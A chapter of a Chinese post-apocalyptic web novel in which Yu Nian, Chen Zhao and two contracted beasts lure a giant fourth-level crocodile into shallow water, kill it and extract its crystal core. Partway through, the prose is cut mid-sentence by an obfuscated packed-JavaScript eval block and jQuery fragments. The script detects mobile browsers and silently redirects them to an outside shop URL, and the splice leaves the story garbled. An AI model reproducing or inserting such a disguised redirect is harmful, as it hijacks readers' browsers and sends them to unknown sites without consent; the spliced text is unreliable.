天刚亮,虞念被虎贲拱醒。
脑袋顶在她肩膀上,湿漉漉的鼻头蹭着她的脖子,弄得她痒得不行。
“别拱了别拱了,醒了。”虞念从睡袋里坐起来,揉了揉眼睛。
虎贲退开两步,朝湖心方向扬了扬下巴,“夜里水面上有动静,但我没看清是什么,动静不小,比那两条鳄鱼翻身的水花大。”
虞念站起身走到湖边。
晨雾还没散尽,湖中心那片墨黑色的水面静止般,看不出一丝异常,但虎贲的听力她信得过,既然说有动静,底下就肯定有东西。
陈召也醒了,从车厢里探出半边身子,“怎么了?”
“夜里湖心有动静,比鳄鱼还大。”虞念蹲在水边,伸手探了一下水温,凉得刺骨。
陈召跳下车走过来,手里拎着一根长绳和一把铁钩,“我昨晚想了一夜,湖水太深,咱们下不去,但可以把东西勾上来,先把这片湖探一圈,找到底下那个坑的具体位置和深度,再想怎么弄。”
虞念觉得这个办法可行,接过了绳子,铁钩拴在绳子一头,陈召用力一甩,铁钩带着绳子飞出去老远,“扑通”一声扎进湖心附近的水面,沉了下去。
绳子一圈一圈往下放,放到大约七八米的时候,陈召手上的绳子猛地一沉,像是钩住了什么东西,他试着往上提了提,那东西沉得厉害,绳身绷得笔直,却只往上挪了小半寸就又坠了回去。
“钩住东西了。”陈召咬着牙,双手攥着绳子往后倒着走,“很沉,比鳄鱼还沉!”
虎贲和钢铁冲上来,虎贲咬住绳身往后拽,钢铁用两只前掌扒住地面拉,三股力量合在一起,绳子慢慢往回缩,水面开始泛起大团大团的气泡,像是有什么庞然大物正从深处被提起来。
虞念握着剑站在水边,警惕地盯着那些越来越大的气泡。
就在绳子快要收到岸边的时候,水面猛地炸裂了。
一颗巨大的头颅从水中破出,灰绿色的鳞甲上覆盖着厚厚的淤泥和水藻,两只浑浊的眼睛足有拳头大,一张嘴,里面全是密密麻麻向内弯曲的尖牙。
那是一头比之前那两条鳄鱼大出两倍不止的巨型鳄鱼。仅露出的头就有一米多长,整条身躯还沉在水里没动,光是水花带起的浪就把岸边冲湿了一大片。
“卧槽!”陈召下意识松了松绳子,又赶紧攥紧了,“这玩意儿三级了吧?”
虎贲低吼,“三级不止,这东西至少四级。”
铁钩只钩住了巨型鳄鱼嘴边的鳞甲缝隙,那东西被钩子扯得疼了,猛地一甩头,铁钩连着绳子崩飞出去,在半空中弹了两下落进了远处的草丛里。
没了束缚的巨型鳄鱼并没有立刻退回水底,它半个身子浮在水面上,浑浊的眼珠转动着,扫过岸边所有人,最后盯住了离水边最近的虞念。
虞念站在原地没有动,手心里的汗把剑柄握得湿滑。
四级的鳄鱼,她和陈召加虎贲加钢铁合在一起恐怕都打不过,更何况这东西在水里,一旦被拖下去,她连半点胜算都没有。
但没办法了,已经这样,她不能退了。
退了这条鳄鱼就会更肆无忌惮,到时候或许更难办。
她强迫自己稳住呼吸,把剑横在身前,分出一缕灵力送到掌心,让剑身上泛起一层淡淡的白色光芒。
巨型鳄鱼盯着那层白光看了几秒,喉咙里发出一阵沉闷的咕噜声,像是在判断什么,然后它缓缓往下沉,头颅没入水面,只留下一圈逐渐扩散的涟漪,最后彻底消失。
湖面重新恢复了平静。
虞念的腿软了一下,撑着剑才没坐下去,陈召跑过来扶住她,“没事吧?”
“没事。”虞念深吸一口气,“它退回去了,但它没走远,就在底下。”
陈召看着那片恢复了平静的湖面,脸上的表情凝重,“四级鳄鱼,惹不起,这东西在水里就是无敌的,咱们全搭上也不够它一口吞的。”
“那就把它引上岸。”虞念缓过劲来,直起身,“上岸了它就没那么厉害了。”
“怎么引?刚才那条三级鳄鱼我们还能用尸体当诱饵,这东西比那两条鳄鱼聪明多了。它看见我用钩子钩它就知道不对劲,不会轻易上当的。”
虞念看着湖中心那片重新变得墨黑的水面想了很久,然后她低头看向自己手里的剑。
“我需要一个活物。”虞念说,“一个能让它觉得不用费力气就能吃到的活物,它要觉得那是猎物,不是陷阱。”
陈召沉默了两秒,“你不会想自己下去吧?”
“我当然不想。”虞念白了他一眼,“你空间里有没有活的动物?鸡鸭什么的?”
陈召苦笑一声,“末世两年多了,哪来的活鸡活鸭,除了你契约的这几只,我连只活耗子都没见过。”
虞念又转头看向虎贲和钢铁,两头兽同时往后退了半步,钢铁更是直接开口,“我不当诱饵,上次那两条已经够呛了,这东西比那两条加起来还大一倍。”
“没让你们下水。”虞念想了想,“但你们可以帮个忙,钢铁嗓门大,在水边叫唤,虎贲在另一侧弄出动静,把它吸引到浅水区,只要它半截身子出了水,我就有机会。”
两头兽对视一眼,虽然不太情愿,但还是点了头。
虞念又看向陈召,“你帮我看着岸上,万一我失手被拖下去,你得拉我上来。”
陈召抿了抿唇,从空间里拿出那根最粗的麻绳,一头系在自己腰上,另一头递给她,“系上。”
虞念接过绳子在自己腰间缠了两圈系了个死结,然后带着虎贲和钢铁走到湖岸的弧形弯处,这是一片水比较浅的区域,从岸边延伸出去十几米,水底都是碎石和沙土,最深的地方也不过到大腿。
钢铁站在水边,卯足了劲发出一声震天的吼叫,那声音带着熊类特有的浑厚和穿透力,在水面上弹了几弹,激起了层层波纹。
虎贲在另一侧也发出了低沉的虎啸,虽然没有动用灵力,但光凭肉嗓子的气势就已经足够骇人。
两兽齐吼的声音震得水面动荡起来,一圈圈涟漪从岸边扩散向湖心。
湖心那片墨黑的水面开始动了,先是几个细小的气泡冒上来,然后是更大的水花翻涌,一条灰绿色的脊背破水而出,缓慢而沉稳地朝着浅水区游了过来。
巨型鳄鱼游到浅水区边缘停了下来,它的半个身子已经露出了水面,前爪踩到了水底的沙石,但它没有再往前,浑浊的眼珠转动着,盯着岸边两头正冲它吼叫的巨兽,像是在权衡利弊。
虞念蹲在岸边的一丛枯草后面,屏住了呼吸。
鳄鱼的前爪又往
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750573|209272||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前挪了一步。
又一步。
它的大半个身体都出了水,沉重的腹甲擦过水底的碎石,发出沙沙的响声。
离岸边只有不到五米了。
虞念动了。
她从草丛后面冲出来,几步跃到鳄鱼侧面,剑尖带着全部灵力刺向它的眼睛,鳄鱼反应极快,头一偏,剑尖只划过了它眼角上方的鳞甲,没伤到要害。
巨型鳄鱼被激怒,猛地转身朝虞念张开大嘴,但它在浅水里行动比深水区迟缓得多,这一口咬空了,虞念借机又刺出一剑,这一次精准地扎进了它张开的眼角缝隙,剑尖没入寸许。
鳄鱼发出了一声极其沉闷痛苦的嘶鸣,甩头把虞念连人带剑甩飞了出去,虞念在半空中翻了个身,落进了齐腰深的湖水里,腰间的绳子瞬间绷紧了,把她猛地往回拽。
陈召在后面用尽全力拉绳子,一边拉一边喊,“虎贲!钢铁!”
两头兽同时扑了上去,虎贲咬住了鳄鱼的尾巴往后拽,钢铁跳上鳄鱼的背,用两只前掌死死按住它的头往下压,鳄鱼在浅水中挣扎着,浪花被拍起两三米高,砸得岸上的人一身泥水。
虞念在水里站稳,抹了一把脸上的水,重新握紧剑冲了上去。这一次她不再执着于眼睛,而是趁鳄鱼被虎贲和钢铁制住的间隙,把剑从它下颌的软皮处扎了进去,灵力顺着剑身猛灌进去。
剑尖贯穿了鳄鱼的咽喉,巨型鳄鱼身体猛地绷直,四肢在水中痉挛着刨了几下,然后彻底不动了。
虎贲松开口后退,钢铁也从鳄鱼背上滑下来,两头兽浑身湿透狼狈不堪,虞念更是整个人泡在泥水里,身上头上全是泥沙和水藻。
陈召跑过来把她从水里拉上岸,“怎么样,伤着没?”
虞念喘着气摇头,“没有,晶核……”
陈召着急,“你先顾顾你自己吧。”
虞念低头看了看自己,浑身湿透,泥水顺着衣角往下淌,小腿上蹭破了两块皮正在渗血,但确实不严重,她抬头看了看那条浮在水面上不动的巨型鳄鱼,嘴角慢慢咧开了。
“四级晶核。”她重复了一遍,声音里全是压不住的兴奋。
陈召认命地卷起裤腿下了水,费了好大力气才把巨型鳄鱼的脑袋拖到岸上,这次的头骨更硬,他用刀撬了半天,钢钎都崩断了一根,才从那颗头颅中抠出了一颗鸽蛋大小的晶核。
那颗晶核是纯粹的深蓝色,虞念握在手心,感觉到里面翻滚着一股极其磅礴的能量,比之前那两颗二级晶核加起来还要多出好几倍。
“四级。”虞念把晶核举到眼前,对着光仔细端详,“这东西能让虎贲或者钢铁直接升两级。”
“升两级?”钢铁凑过来,大脑袋都快怼到虞念脸上了,“给我给我。”
虎贲一把咬住钢铁的后脖颈把它拖开,“轮不到你。”
“凭什么?”
“凭我先跟的她。”
两头兽又闹了起来,在水边滚了一身泥。虞念没管它们,把四级晶核小心收好,又看了看湖心那片已经恢复平静的水面。
“底下还有东西吗?”她问虎贲。
虎贲松开钢铁的脖子,朝湖面嗅了嗅:“没有了,这条巨鳄是这片水域的霸主,它死了,底下那些小东西翻不起浪。”
虞念点了点头。